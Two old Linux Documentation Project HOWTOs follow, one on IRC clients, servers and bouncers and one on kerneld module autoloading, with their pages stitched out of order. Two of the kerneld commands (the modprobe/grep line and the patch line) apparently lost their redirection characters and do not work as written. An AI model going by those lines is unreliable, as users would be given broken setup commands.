You can get the latest version of ezbounce from his Homepage at http://druglord.freelsd.org/ezbounce/.

Prev | Home | Next
IRC Bots |  | Installation


Console IRC Clients

Linux IRC mini-HOWTO
Prev Next

4. Console IRC Clients

4.1. ircII

Maintainer: ircII project (<ircii @ eterna.com.au>)

IRC Channel: #ircII (official channel ?) on EFNet

Originally written by Michael Sandrof, ircII comes with most Linux distributions. It uses termcap and shouldn't be a choice for most users, but is a standard. Mathusalem and other gurus will use it. Less ventured will regret to have it installed.

You can get the latest version of ircII from ftp://ircftp.au.eterna.com.au/pub/ircII/. Homepage at http://www.eterna.com.au/ircii/.

4.2. EPIC

Maintainer: EPIC Software Labs (<ircii-epic @ concentric.net>)

IRC Channel: #EPIC on EFNet

Based on ircII, EPIC (Enhanced Programmable ircII Client) is meant for real scripters and users searching freedom. When you start it for the first time you'll notice that you should really learn the basics of scripting.

You can get the latest version of EPIC from ftp://ftp.epicsol.org/pub/epic/. Homepage at http://www.epicsol.org/.

4.3. BitchX

Maintainer: Colten Edwards (<edwards @ bitchx.dimension6.com>)

IRC Channel: #BitchX on EFNet

Based on ircII and EPIC, BitchX could be compared to the Pine MUA. Bloatware (doesn't mean you shouldn't use it) and widely used. The choice for users that want a client with built-in facilities. It can be built with the GNOME libraries by using the configure option --with-gtk. Don't be surprised if all you get is a XTerm-BitchX instead.

You can get the latest version of BitchX from ftp://ftp.bitchx.com/pub/BitchX/source/. Homepage at http://www.bitchx.com/. Homepage of gtkBitchX at http://www.bitchx.org/gtk/.

4.4. irssi

Maintainer: Timo Sirainen (<tss @ iki.fi>)

IRC Channel: #irssi on OPN and IRCnet

Timo released yagIRC ~3 years ago. It was a GUI client using the GTK+ toolkit. The army called on him, and the new maintainers wouldn't do the job. yagIRC passed away and he started irssi as a replacement. It used GTK+. GNOME and curses versions would appear later. As of 0.7.90 it's only a modular text mode client. Supports Perl scripting.

You can get the latest version of irssi from http://irssi.org/?page=download. Homepage at http://irssi.org/.

Prev | Home | Next
Beginner's guide on using IRC |  | X Window IRC Clients


But what's already included in my distribution ? (Linux on x86)

Linux IRC mini-HOWTO
Prev Next

10. But what's already included in my distribution ? (Linux on x86)

10.1. Debian

IRC Channel: #Debian on OPN

Debian includes too many IRC tools to list. You can find them at the following places:

  • Debian stable.

  • Debian unstable (didn't receive enough testing).

  • Also be sure to check the proposed updates. It may have IRC clients as well.

  • Debian non-free (applications with a restrictive license) contains cIRCus.

10.2. RedHat

IRC Channel: #RedHat on OPN (not official)

RedHat 7.1 includes the following clients:

  • ircII 4.4Z.

  • KSirc from KDE Network 2.1.1.

  • X-Chat 1.6.3.

  • RedHat Powertools (what's worth but they don't want to include or can't) 7.1 includes the following clients:

  • BitchX and gtkBitchX 1.0c17.

  • EPIC4 2000.

  • KVIrc 2.1.0.

  • tkIRC 2.43.

  • RedHat RawHide (current development)

  • ftp://rawhide.redhat.com/pub/redhat/linux/rawhide/. Use at your own risk.

10.3. Slackware

IRC Channel: #Slackware on OPN

Slackware 8.0 includes the following clients:

  • BitchX 1.0c18

  • EPIC4 1.0.1

  • KSirc from KDE Network 2.1.1.

  • X-Chat 1.6.4.

  • Slackware -current (current development)

  • ftp://ftp.slackware.com/pub/slackware/slackware-current/. Use at your own risk.

Prev | Home | Next
Installation |  | Hell and Paradise


Revision History

Linux IRC mini-HOWTO
Prev

12. Revision History

  • 20010701 - v0.2, third draft

Prev | Home
Hell and Paradise |


Linux IRC mini-HOWTO

Frédéric L. W. Meunier

v0.2 1 July, 2001

Revision History
Revision 0.2 2001-07-01 Revised by: fredlwm
Third revision.

This document aims to describe the basics of IRC and respective applications for Linux.

Table of Contents
1. Introduction
1.1. Objectives
1.2. Miscellaneous
1.3. Translations
2. About IRC
3. Beginner's guide on using IRC
3.1. Running the ircII program
3.2. Commands
3.3. IRC Etiquette
4. Console IRC Clients
4.1. ircII
4.2. EPIC
4.3. BitchX
4.4. irssi
5. X Window IRC Clients
5.1. Zircon
5.2. Sula PrimeriX II
5.3. xIrc
5.4. KVIrc
5.5. X-Chat
5.6. QuIRC
6. IRC Servers
6.1. IRCD
6.2. IRCD-Hybrid
6.3. ircu
6.4. Bahamut
7. IRC Bots
7.1. eggdrop
8. IRC Bouncers (IRC Proxy)
8.1. bnc
8.2. muh
8.3. ezbounce
9. Installation
9.1. Clients
9.2. Servers
10. But what's already included in my distribution ? (Linux on x86)
10.1. Debian
10.2. RedHat
10.3. Slackware
11. Hell and Paradise
11.1. Gods
11.2. Saints
11.3. Angels
11.4. Devils
12. Revision History
Next
Introduction


Installation

Linux IRC mini-HOWTO
Prev Next

9. Installation

9.1. Clients

All popular clients use GNU autoconf and GNU automake, thus come with a configure script. Read the installation instructions after you unpack the sources. Be sure you have the required libraries in order to build. Doing cd sources;mkdir objdir;cd objdir; ../configure --help;../configure your_options_here;make;make install (or make install_strip) > ~/sources_install.log is the right procedure. Also note that for ircII, EPIC, and BitchX you should really edit include/config.h to suit your needs.

9.2. Servers

Do you really need help to set up a server ?

~$ vim ircd.conf

Prev | Home | Next
IRC Bouncers (IRC Proxy) |  | But what's already included in my distribution ? (Linux on x86)


Introduction

Linux IRC mini-HOWTO
Prev Next

1. Introduction

This document is still WIP, and should be treated as such. I'll do my best to keep it updated and accurate.

The following bibles shouldn't be ignored:

  • RFC1459 by Jarkko Oikarinen and Darren Reed was the first about the Internet Relay Chat Protocol. It can be found at http://ftp.isi.edu/in-notes/rfc1459.txt.

  • RFC2811 by Christophe Kalt updates RFC1459 and describes the Channel Management of the Internet Relay Chat. It can be found at http://ftp.isi.edu/in-notes/rfc2811.txt.

  • RFC2812 by Christophe Kalt updates RFC1459 and describes the Client Protocol of the Internet Relay Chat. It can be found at http://ftp.isi.edu/in-notes/rfc2812.txt.

  • RFC2813 by Christophe Kalt updates RFC1459 and describes the Server Protocol of the Internet Relay Chat. It can be found at http://ftp.isi.edu/in-notes/rfc2813.txt.

Also be sure to check the following links:

http://www.irchelp.org/.

1.1. Objectives

Among others, the objectives of this mini-HOWTO are:

  • Link important resources about IRC;

  • Avoid common misuses of IRC by writing an IRC Etiquette;

  • List popular clients, servers, bots, and bouncers, along with their maintainers, #channel, small description, download location, homepage, and hints;

  • List IRC tools available in the latest release of all major distributions.

1.2. Miscellaneous

The latest version of this document is available at http://www.pervalidus.net/docs/IRC-mini-HOWTO/.

A WIP of the next draft may be available at http://www.pervalidus.net/docs/IRC-mini-HOWTO/WIP/.

All drafts are archived at http://www.pervalidus.net/docs/IRC-mini-HOWTO/old/.

You can e-mail me (in English, French, or Portuguese) with suggestions about the mini-HOWTO. I know this is far from finished, but hope you find it useful. Just don't ask me to add your application or site. Most likely I won't. Also don't ask for technical support. I have no time to help everyone.

BTW, someone to work on the protocol and server sides would be very welcome to join the project.

Frédéric L. W. Meunier (<linuxdoc @ pervalidus.net>)

1.3. Translations

Proposed translations will be linked here. Although I can write in Brazilian Portuguese and French, I'm not going to translate this document in the near future, so feel free to make them.

Prev | Home | Next
Linux IRC mini-HOWTO |  | About IRC


IRC Servers

Linux IRC mini-HOWTO
Prev Next

6. IRC Servers

6.1. IRCD

Maintainer: ircd developers(<ircd-dev @ irc.org>)

IRC Channel: #ircd on IRCnet

The original IRC daemon, mainly used by IRCnet.

You can get the latest version of IRCD from ftp://ftp.irc.org/irc/server/. Homepage at http://www.irc.org/.

6.2. IRCD-Hybrid

Maintainer: (<ircd-hybrid @ the-project.org>)

IRC Channel: None ?

Mainly used by EFNet.

You can get the latest version of IRCD-Hybrid from ftp://ftp.blackened.com/pub/irc/hybrid/. Homepage at http://www.ircd-hybrid.net/.

6.3. ircu

Maintainer: Undernet Coder Committee (<coder-com @ undernet.org>)

IRC Channel: #ircu on Undernet

Mainly used by Undernet.

You can get the latest version of ircu from ftp://ftp.coder-com.undernet.org/ircu/. Homepage at http://coder-com.undernet.org/.

6.4. Bahamut

Maintainer: DALnet Coding Team (<bahamut @ bahamut.net>)

IRC Channel: #Bahamut on DALnet

Based on DreamForge and Hybrid, Bahamut is the DALnet server.

You can get the latest version of Bahamut from http://bahamut.dal.net/download/. Homepage at http://bahamut.dal.net/.

Prev | Home | Next
X Window IRC Clients |  | IRC Bots


Hell and Paradise

Linux IRC mini-HOWTO
Prev Next

11. Hell and Paradise

11.1. Gods

  • Thanks to all authors. Without their hard and volunteer work I'd never write it, and we'd never get our hands on Linux (and IRC).

11.2. Saints

  • Put your name here.

11.3. Angels

  • Put your name here.

11.4. Devils

  • Khaled Mardam-Bey must be stopped :)

  • 'If idiots could fly, IRC would be an airport'. I don't know who wrote that, but it makes sense. For those of you using IRC to annoy and piss off I ordered a /kill for Christmas.

Prev | Home | Next
But what's already included in my distribution ? (Linux on x86) |  | Revision History


X Window IRC Clients

Linux IRC mini-HOWTO
Prev Next

5. X Window IRC Clients

5.1. Zircon

Maintainer: Lindsay F. Marshall (<Lindsay.Marshall @ ncl.ac.uk>)

IRC Channel: None ?

Written in Tcl/Tk, uses the native network communications of Tcl.

You can get the latest version of Zircon from ftp://catless.ncl.ac.uk/pub/. Homepage at http://catless.ncl.ac.uk/Programs/Zircon/.

5.2. Sula PrimeriX II

Maintainer: Tano Fotang (<fotang @ yahoo.com>)

IRC Channel: None ?

Uses GTK+ or XForms, and Guile.

You can get the latest version of Sula PrimeriX II from http://spx.linuxatwork.at/#where-to-get-it. Homepage at http://spx.linuxatwork.at/.

5.3. xIrc

Maintainer: Robert Borrell (<borrell @ pobox.com>)

IRC Channel: None ?

Using the Qt toolkit, xIrc is less featured than KVIrc. As an advantage, it's faster.

You can get the latest version of xIrc from http://www.linuxlots.com/~xirc/download.html. Homepage at http://www.linuxlots.com/~xirc/.

5.4. KVIrc

Maintainer: Szymon Stefanek (<stefanek @ tin.it>)

IRC Channel: #KVIrc on OPN

Also written with the Qt toolkit, KVIrc is a beast. Supports DCC Voice, built-in scripting language, and plugins.

You can get the latest version of KVIrc from http://www.kvirc.net/download.html. Homepage at http://www.kvirc.net/.

5.5. X-Chat

Maintainer: Peter Zelezny (<zed @ linux.com>)

IRC Channel: #Linux on ChatJunkies

Using GTK+ and optionally GNOME, supports Perl and Python scripting.

You can get the latest version of X-Chat from http://xchat.org/download.html. Homepage at http://xchat.org/.

5.6. QuIRC

Maintainer: Patrick Earl (<quirc @ patearl.net>)

IRC Channel: #QuIRC on DALnet

Using Tk, supports Tcl for scripting.

You can get the latest version of QuIRC from his Homepage at http://quirc.org/.

Prev | Home | Next
Console IRC Clients |  | IRC Servers


Common problems and things that make you wonder

1. Why do I get Cannot locate module for net-pf-X messages when I run /sbin/ifconfig?
2. After starting kerneld, my system slows to a crawl when I activate my ppp-connection
3. kerneld does not load my SCSI driver!
4. modprobe complains about gcc2_compiled being undefined
5. My sound driver keeps forgetting its settings for volume etc
6. DOSEMU needs some modules; how can I get kerneld to load those ?
7. Why do I get Ouch, kerneld timed out, message failed messages ?
8. Mount doesn't wait for kerneld to load the filesystem module
9. kerneld fails to load the ncpfs module
10. kerneld fails to load the smbfs module
11. I built everything as modules, and now my system cannot boot or kerneld fails to load the root filesystem module!
12. kerneld will not load at boot time; it complains about libgdbm
13. I get Cannot load module xxx but I just reconfigured my kernel without xxx support!
14. I rebuilt my kernel and modules, and still get messages about unresolved symbols when booting
15. I installed Linux 2.1/2.3 and now I cannot load any modules!
16. What about dial-on-demand networking?

1. Why do I get Cannot locate module for net-pf-X messages when I run /sbin/ifconfig?

Around kernel version 1.3.80, the networking code was changed to allow loading protocol families (e.g. IPX, AX.25 and AppleTalk) as modules. This caused the addition of a new kerneld request: net-pf-X, where X is a number identifying the protocol (see /usr/src/linux/include/linux/socket.h for the meaning of the various numbers). Unfortunately, ifconfig accidentally triggers these messages, so a lot of people get a couple of messages logged when the system boots and it runs ifconfig to setup the loopback device. The messages are harmless, and you can disable them by adding the lines

        alias net-pf-3 off      # Forget AX.25
        alias net-pf-4 off      # Forget IPX
        alias net-pf-5 off      # Forget AppleTalk

to /etc/conf.modules. Of course, if you do use IPX as a module, you should not add a line to disable IPX.

2. After starting kerneld, my system slows to a crawl when I activate my ppp-connection

There have been a couple of reports of this. It seems to be an unfortunate interaction between kerneld and the tkPPP script that is used on some systems to setup and monitor the PPP connection. The script apparently runs loops while running ifconfig. This triggers kerneld, to look for the net-pf-X modules (see above), keeping the system load high and possibly pouring lots of Cannot locate module for net-pf-X messages into the system log. There is no known workaround, other than not use tkPPP, or change it to use some other way of monitoring the connection.

3. kerneld does not load my SCSI driver!

Add an entry for the SCSI hostadapter to your /etc/conf.modules. See the description of the scsi_hostadapter entry above.

4. modprobe complains about gcc2_compiled being undefined

This is a bug in the module utilities, that show up only with binutils 2.6.0.9 and later, and it is also documented in the release note for the binutils. So read that, or fetch an upgrade to the module-utilities that fix this bug.

5. My sound driver keeps forgetting its settings for volume etc

The settings for a module are stored inside the module itself when it is loaded. So when kerneld auto-unloads a module, any settings you have made are forgotten, and the next time the module loads it reverts to the default settings.

You can tell kerneld to configure a module by running a program after the module has been auto-loaded. See Pre/Post Install on the post-install entry.

6. DOSEMU needs some modules; how can I get kerneld to load those ?

You cannot. None of the dosemu versions, official or development versions, support loading the dosemu modules through kerneld. However, if you are running kernel 2.0.26 or later, you do not need the special dosemu modules any longer; just upgrade dosemu to 0.66.1 or higher.

7. Why do I get Ouch, kerneld timed out, message failed messages ?

When the kernel sends a request off to to kerneld, it expects to receive an acknowledgment back within one second. If kerneld does not send this acknowledgment, this message is logged. The request is retransmitted, and should get through eventually.

This usually happens on systems with a very high load. Since kerneld is a user-mode process, it is scheduled just like any other process on the system. At times of high load, it may not get to run in time to send back the acknowledgment before the kernel times out.

If this happens even when the load is light, try restarting kerneld. Kill the kerneld process, and start it again with the command /usr/sbin/kerneld. If the problem persists, you should mail a bug report to <linux-kernel@vger.rutgers.edu>, but please make sure that your versions of the kernel, kerneld and the module utilities are up-to-date before posting about the problem. Check the requirements in linux/Documentation/Changes

8. Mount doesn't wait for kerneld to load the filesystem module

There has been a number of reports that the mount(8) command does not wait for kerneld to load the filesystem module. lsmod does show that kerneld loads the module, and if you repeat the mount command immediately it will succeed. This appears to be a bug in the module-utilities version 1.3.69f that affects some Debian users. It can be fixed by getting a later version of the module-utilities.

9. kerneld fails to load the ncpfs module

You need to compile the ncpfs utilities with -DHAVE_KERNELD. See the ncpfs Makefile.

10. kerneld fails to load the smbfs module

You are using an older version of the smbmount utilities. Get the latest version (0.10 or later) from the SMBFS archive one TSX-11

11. I built everything as modules, and now my system cannot boot or kerneld fails to load the root filesystem module!

You cannot modularize everything: The kernel must have enough drivers built in for it to be able to mount your root filesystem, and run the necessary programs to start kerneld[1]. You cannot modularize

  • the driver for the hard disk where your root filesystem lives

  • the root filesystem driver itself

  • the binary format loader for init, kerneld and other programs

12. kerneld will not load at boot time; it complains about libgdbm

Newer versions of kerneld need the GNU dbm library, libgdbm.so, to run. Most installations have this file in /usr/lib, but you are probably starting kerneld before the /usr filesystem is mounted. One symptom of this is that kerneld will not start during boot-up (from your rc-scripts), but runs fine if you start it by hand after that system is up. The solution is to either move the kerneld startup to after your /usr is mounted, or move the gdbm library to your root filesystem, e.g. to /lib.

13. I get Cannot load module xxx but I just reconfigured my kernel without xxx support!

The Slackware installation (possibly others) builds a default /etc/rc.d/rc.modules which does an explicit modprobe on a variety of modules. Exactly which modules get modprobed depends on the original kernel's configuration. You have probably reconfigured your kernel to exclude one or more of the modules that is getting modprobed in rc.modules, thus, the error message(s). Update your rc.modules by commenting out any modules you no longer use, or remove the rc.modules entirely and let kerneld load the modules when they are needed.

14. I rebuilt my kernel and modules, and still get messages about unresolved symbols when booting

You probably reconfigured/rebuilt your kernel and excluded some modules. You've got some old modules that you no longer use hanging around in the /lib/modules directory. The easiest fix is to delete your /lib/modules/x.y.z directory and do a make modules_install from the kernel source directory again. Note that this problem only occurs when reconfiguring your kernel without changing versions. If you see this error when moving to a newer kernel version you've got some other problem.

15. I installed Linux 2.1/2.3 and now I cannot load any modules!

Odd numbered Linux are development kernels. As such, it should be expected that things break from time to time. One of the things that has changed significantly is the way modules are handled, and where the kernel and modules are loaded into memory.

In brief, if you want to use modules with a development kernel, you must

  • read the Documentation/Changes file and see what packages need upgrading on your system

  • use the latest modutils package, available from AlphaBits on Red Hat or the mirror site at TSX-11

I recommend using at least kernel 2.1.29, if you want to use modules with a 2.1 kernel.

16. What about dial-on-demand networking?

kerneld originally had some support for establishing dial-up network connections on demand; trying to send packets to a network without being connected would cause kerneld to run the /sbin/request_route script to setup a PPP or SLIP connection.

This turned out to be a bad idea. Alan Cox of Linux networking fame wrote on the linux-kernel mailing list

The request-route stuff is obsolete, broken and not required [...] Its also removed from 2.1.x trees.

Instead of using the request-route script and kerneld, I highly recommend Eric Schenk's diald package to manage your demand dialing.

Notes

[1]

Actually, this is not true. Late 1.3.x and all 2.x kernels support the use of an initial ram-disk that is loaded by LILO or LOADLIN; it is possible to load modules from this disk very early in the boot process. How to do it is described in the linux/Documentation/initrd.txt file that comes with the kernel source-files.

Prev | Home
Special kerneld uses |


How does kerneld know what module to load?

Although kerneld comes with builtin knowledge about the most common types of modules, there are situations where kerneld will not know how to handle a request from the kernel. This is the case with things like CD-ROM drivers or network drivers, where there are more than one possible module that can be loaded.

The requests that the kerneld daemon gets from the kernel is for one of the following items:

  • a block-device driver

  • a character-device driver

  • a binary format

  • a tty line discipline

  • a filesystem

  • a network device

  • a network service (e.g. rarp)

  • a network protocol (e.g. IPX)

The kerneld determines what module should be loaded by scanning the configuration file /etc/conf.modules [1]. There are two kinds of entries in this file: Paths where the module-files are located, and aliases assigning the module to be loaded for a given service. If you don't have this file already, you could create it by running

  /sbin/modprobe -c | grep -v '^path' /etc/conf.modules

If you want to add yet another path directive to the default paths, you must include all the default paths as well, since a path directive in /etc/conf.modules will replaceall the ones that modprobe knows by default!

Normally you don't want to add any paths by your own, since the built-in set should take care of all normal setups (and then some...), I promise!

On the other hand, if you just want to add an alias or an option directive, your new entries in /etc/conf.modules will be added to the ones that modprobe already knows. If you should redefine an alias or an option, your new entries in /etc/conf.modules will override the built-in ones.

Block devices

If you run /sbin/modprobe -c, you will get a listing of the modules that kerneld knows about, and what requests they correspond to. For instance, the request that ends up loading the floppy driver is for the block-device that has major number 2:

  osiris:~ $ /sbin/modprobe -c | grep floppy
  alias block-major-2 floppy

Why block-major-2 ? Because the floppy devices /dev/fd* use major device 2 and are block devices:

  osiris:~ $ ls -l /dev/fd0 /dev/fd1
  brw-rw-rw-   1 root     root       2,   0 Mar  3  1995 /dev/fd0
  brw-r--r--   1 root     root       2,   1 Mar  3  1995 /dev/fd1

Character devices

Character devices are dealt with in a similar way. E.g. the ftape floppy tape driver sits on major-device 27:

  osiris:~ $ ls -lL /dev/ftape
  crw-rw----   1 root     disk      27,   0 Jul 18  1994 /dev/ftape

However, kerneld does not by default know about the ftape driver - it is not listed in the output from /sbin/modprobe -c. So to setup kerneld to load the ftape driver, I must add a line to the kerneld configuration file, /etc/conf.modules:

  alias char-major-27 ftape

Network devices

You can also use the device name instead of the char-major-xxx or block-major-yyy setup. This is especially useful for network drivers. For example, a driver for an ne2000 netcard acting as eth0 would be loaded with

  alias eth0 ne

If you need to pass some options to the driver, for example to tell the module about what IRQ the netcard is using, you must add an "options" line:

  options ne irq=5

This will cause kerneld to load the NE2000 driver with the command

  /sbin/modprobe ne irq=5

Of course, the actual options available are specific to the module you are loading.

Binary formats

Binary formats are handled in a similar way. Whenever you try to run a program that the kernel does not know how to load, kerneld gets a request for binfmt-xxx, where xxx is a number determined from the first few bytes of the executable. So, the kerneld configuration to support loading the binfmt_aout module for ZMAGIC (a.out) executables is

  alias binfmt-267 binfmt_aout

Since the magic number for ZMAGIC files is 267, if you check /etc/magic, you will see the number 0413; keep in mind that /etc/magic uses octal numbers where kerneld uses decimal, and octal 413 = decimal 267. There are actually three slightly different variants of a.out executables (NMAGIC, QMAGIC and ZMAGIC), so for full support of the binfmt_aout module we need

  alias binfmt-264 binfmt_aout  # pure executable (NMAGIC)
  alias binfmt-267 binfmt_aout  # demand-paged executable (ZMAGIC)
  alias binfmt-204 binfmt_aout  # demand-paged executable (QMAGIC)

a.out, Java and iBCS binary formats are recognized automatically by kerneld, without any configuration.

Line disciplines (slip, cslip and ppp)

Line disciplines are requested with tty-ldisc-x, with x being usually 1 (for SLIP) or 3 (for PPP). Both of these are known by kerneld automatically.

Speaking of ppp, if you want kerneld to load the bsd_comp data compression module for ppp, then you must add the following two lines to your /etc/conf.modules:

  alias tty-ldisc-3 bsd_comp
  alias ppp0 bsd_comp

Network protocol families (IPX, AppleTalk, AX.25)

Some network protocols can be loaded as modules as well. The kernel asks kerneld for a protocol family (e.g. IPX) with a request for net-pf-X where X is a number indicating what family is wanted. E.g. net-pf-3 is AX.25, net-pf-4 is IPX and net-pf-5 is AppleTalk; These numbers are determined by the AF_AX25, AF_IPX etc. definitions in the linux source file include/linux/socket.h. So to autoload the IPX module, you would need an entry like this in /etc/conf.modules:

  alias net-pf-4 ipx

See Common Problems for information about how you can avoid some annoying boot-time messages related to undefined protocol families.

File systems

kerneld requests for filesystems are simply the name of the filesystem type. A common use of this would be to load the isofs module for CD-ROM filesystems, i.e. filesystems of type iso9660:

  alias iso9660 isofs

Notes

[1]

Some distributions call this file modules.conf

Prev | Home | Next
How do I set it up? |  | Devices requiring special configuration


Special kerneld uses

I knew you would ask about how to setup the screen-saver module!

The kerneld/GOODIES directory in modules package has a couple of kernel patches for screen-saver and console-beep support in kerneld; these are not yet part of the official kernel, so you will need to install the kernel-patches and rebuild the kernel.

To install a patch, you use the patch command:

  cd /usr/src/linux
  patch -s -p1 /usr/src/modules-*/kerneld/GOODIES/blanker_patch

Then rebuild and install the new kernel.

When the screen-saver triggers, kerneld will run the command /sbin/screenblanker; this file may be anything you like, for example, a shell script that runs your favorite screen-saver.

When the kernel wants to unblank the screen, it sends a SIGQUIT signal to the process running /sbin/screenblanker. Your shell script or screen-saver should trap this, and terminate. Remember to restore the screen to the original text mode!

Prev | Home | Next
Spying on kerneld |  | Common problems and things that make you wonder


Linux kerneld mini-HOWTO

Henrik Storner

kerneld-howto@linuxdoc.org

Copyright © 2000 by Linux Documentation Project

Revision History
Revision v2.0 22 May 2000
conversion from HTML to DocBook SGML.
Table of Contents
About the kerneld mini-HOWTO
Credits
What is kerneld?
Why do I want to use it ?
Where can I pick up the necessary pieces ?
How do I set it up?
Trying out kerneld
How does kerneld know what module to load?
Block devices
Character devices
Network devices
Binary formats
Line disciplines (slip, cslip and ppp)
Network protocol families (IPX, AppleTalk, AX.25)
File systems
Devices requiring special configuration
char-major-10 : Mice, watchdogs and randomness
Loading SCSI drivers: The scsi_hostadapter entry
When loading a module isn't enough: The post-install entry
Spying on kerneld
Special kerneld uses
Common problems and things that make you wonder

About the kerneld mini-HOWTO

This document explains how to install and use the automatic kernel module loader "kerneld". The latest released version of this document can be found at the Linux Documentation Project

Credits

This document is based on an original HTML version 1.7 dated July 19, 1997 by Henrik Storner <storner@osiris.ping.dk> and was revised and translated to DocBook DTD by Gary Lawrence Murphy <garym@teledyn.com> May 20, 2000.

The following people have contributed to this mini-HOWTO at some point:

  • Bjorn Ekwall bj0rn@blox.se

  • Ben Galliart bgallia@luc.edu

  • Cedric Tefft cedric@earthling.net

  • Brian Miller bmiller@netspace.net.au

  • James C. Tsiao jtsiao@madoka.jpl.nasa.gov

If you find errors in this document, please send email to <kerneld-howto@linuxdoc.org>. Your comments, encouragement and suggestions are welcome and appreciated, and help ensure this guide remains current and accurate.

Next
What is kerneld?


What is kerneld?

The kerneld feature was introduced during the 1.3 development kernels by Bjorn Ekwall. It allows kernel modules such as device drivers, network drivers and filesystems to be loaded automatically when they are needed, rather than having to do it manually with modprobe or insmod.

And for the more amusing aspects, although these are not (yet ?) integrated with the standard kernel:

  • It can be setup to run a user-program instead of the default screen blanker, thus letting you use any program as a screen-saver.

  • Similar to the screen-blanker support, you can also change the standard console beep into something completely different.

kerneld consists of two components:

  • Support in the Linux kernel for sending requests to a daemon requesting a module for a certain task.

  • A user-space daemon that can figure out what modules must be loaded to fulfill the request from the kernel.

Both components must be working for the kerneld support to function; it is not enough that only one or the other has been setup.

Why do I want to use it ?

There are some good reasons for using kerneld. The ones I will mention are mine, others have other reasons.

  • If you have to build kernels for several systems that only differ slightly - different kind of network card, for instance - then you can build a single kernel and some modules, instead of having to build individual kernels for each system.

  • Modules are easier for developers to test. You don't need to reboot the system to load and unload the driver; this applies to all modules, not just kerneld-loaded ones.

  • It cuts down on the kernel memory usage leaving more memory available for applications. Memory used by the kernel is never swapped out, so if you have 100Kb worth of unused drivers compiled into your kernel, they are simply wasting RAM.

  • Some of the things I use, the ftape floppy-tape driver, for instance, or iBCS, are only available as modules, but I don't want to bother with loading and unloading them whenever I need them.

  • People making Linux distributions don't have to build 284 different boot images: Each user loads the drivers he needs for just his hardware. Most modern Linux distributions will detect your hardware and will only load those modules actually required.

Of course, there are also reasons why you may not want to use it. If you prefer to have just one kernel image file with all of your drivers built in, you are reading the wrong document.

Where can I pick up the necessary pieces ?

The support in the Linux kernel was introduced with Linux 1.3.57. If you have an earlier kernel version, you will need to upgrade if you want the kerneld support. The current Linux kernel sources can be found at most Linux FTP archive sites including:

  • Kernel.Org Archive

  • Metalab Linux Archive

  • TSX-11 at MIT

The user-space daemon is included with the modules package. These are normally available from the same place as the kernel sources

Note: If you want to try module-loading with the latest development kernels, you should use the newer modutils package and not the modules. Always check the Documentation/Changes file in the kernel sources for the minimum required version number for your kernel image. Also see about the problems with modules and 2.1 kernels.

Prev | Home | Next
Linux kerneld mini-HOWTO |  | How do I set it up?


How do I set it up?

First get the necessary parts: A suitable kernel and the latest modules package. Then you should install the module utilities as per the instructions included in the package. Pretty simple: Just unpack the sources and run make install. This compiles and installs the following programs in /sbin: genksysm, insmod, lsmod, modprobe, depmod and kerneld. I recommend you add some lines to your startup-scripts to do some necessary setup whenever you boot Linux. Add the following lines to your /etc/rc.d/rc.S file (if you are running Slackware), or to /etc/rc.d/rc.sysinit if you are running SysVinit, i.e. Debian, Corel, RedHat, Mandrake or Caldera:

        # Start kerneld - this should happen very early in the
        # boot process, certainly BEFORE you run fsck on filesystems
        # that might need to have disk drivers autoloaded
        if [ -x /sbin/kerneld ]
        then
                /sbin/kerneld
        fi

        # Your standard fsck commands go here
        # And you mount command to mount the root fs read-write

        # Update kernel-module dependencies file
        # Your root-fs MUST be mounted read-write by now
        if [ -x /sbin/depmod ]
        then
                /sbin/depmod -a
        fi

These commands may already be installed in your SysV init scripts. The first part starts kerneld itself. The second calls depmod -a at startup to build a list of all available modules and analyzes their inter-dependencies. The depmod map then tells kerneld if one module needs to have another loaded before it will itself load.

Note: Recent versions of kerneld have an option to link with the GNU gdbm library, libgdbm. If you enable this when building the module utilities, kerneld will not start if libgdbm is not available which may well be the case if you have /usr on a separate partition and start kerneld before /usr is mounted. The recommended solution is to move /usr/lib/libgdbm to /lib, or to link kerneld statically.

Next, unpack the kernel sources, configure and build a kernel to your liking. If you have never done this before, you should definitely read the README file at the top level of the Linux sources. When you run make xconfig to configure the kernel, you should pay attention to some questions that appear early on:

  Enable loadable module support (CONFIG_MODULES) [Y/n/?] Y

You need to select the loadable module support, or there will be no modules for kerneld to load! Just say Yes.

  Kernel daemon support (CONFIG_KERNELD) [Y/n/?] Y

This, of course, is also necessary. Then, a lot of the things in the kernel can be built as modules - you will see questions like

  Normal floppy disk support (CONFIG_BLK_DEV_FD) [M/n/y/?]

where you can answer with an M for "Module". Generally, only the drivers necessary for you to boot up your system should be built into the kernel; the rest can be built as modules.

Essential drivers

Essential drivers required to boot your system must be compiled into the core kernel and cannot be loaded as modules. Typically this will include the hard-disk driver and the driver for the root filesystem. If you have a dual-boot machine and rely on files found in the foreign partition, you must also compile support for that filesystem into the core kernel.

When you have gone through the make config, compile and install the new kernel and the modules with make dep clean bzlilo modules modules_install.

Phew.

Compiling a Kernel Image: The make zImage command will stop short of installing a kernel and will leave the new kernel image in the file arch/i386/boot/zImage. To use this image, you will need to copy it to where you keep your boot-image and install it manually with LILO.

For more information about configuring, building and installing your own kernel, check out the Kernel-HOWTO posted regularly to comp.os.linux.answers, and available from the Linux Documentation Project and its mirrors.

Trying out kerneld

Now reboot with the new kernel. When the system comes back up, you can run ps ax, and you should see a line for kerneld:

    PID TTY STAT  TIME COMMAND
     59  ?  S     0:01 /sbin/kerneld

One of the nice things with kerneld is that once you have the kernel and the daemon installed, very little setup is needed. For a start, try using one of the drivers that you built as a module; it is more likely than not that it will work without further configuration. If I build the floppy driver as a module, I could put a DOS floppy in the drive and type

  osiris:~ $ mdir a:
   Volume in drive A has no label
   Volume Serial Number is 2E2B-1102
   Directory for A:/

  binuti~1 gz       1942 02-14-1996  11:35a binutils-2.6.0.6-2.6.0.7.diff.gz
  libc-5~1 gz      24747 02-14-1996  11:35a libc-5.3.4-5.3.5.diff.gz
          2 file(s)        26689 bytes

The floppy driver works! It gets loaded automatically by kerneld when I try to use the floppy disk.

To see that the floppy module is indeed loaded, you can run /sbin/lsmod to list all currently loaded modules:

  osiris:~ $ /sbin/lsmod
  Module:        #pages:  Used by:
  floppy            11    0 (autoclean)

The "(autoclean)" means that the module will automatically be removed by kerneld when it has not been used for more than one minute. So the 11 pages of memory (= 44kB, one page is 4 kB) will only be used while I access the floppy drive - if I don't use the floppy for more than a minute, they are freed. Quite nice, if you are short of memory for your applications!

Prev | Home | Next
What is kerneld? |  | How does kerneld know what module to load?


Devices requiring special configuration

Some devices require a bit of extra configuration beyond the normal aliasing of a device to a module.

  • Character devices on major number 10: The miscellaneous devices

  • SCSI devices

  • Devices that require special initialization

char-major-10 : Mice, watchdogs and randomness

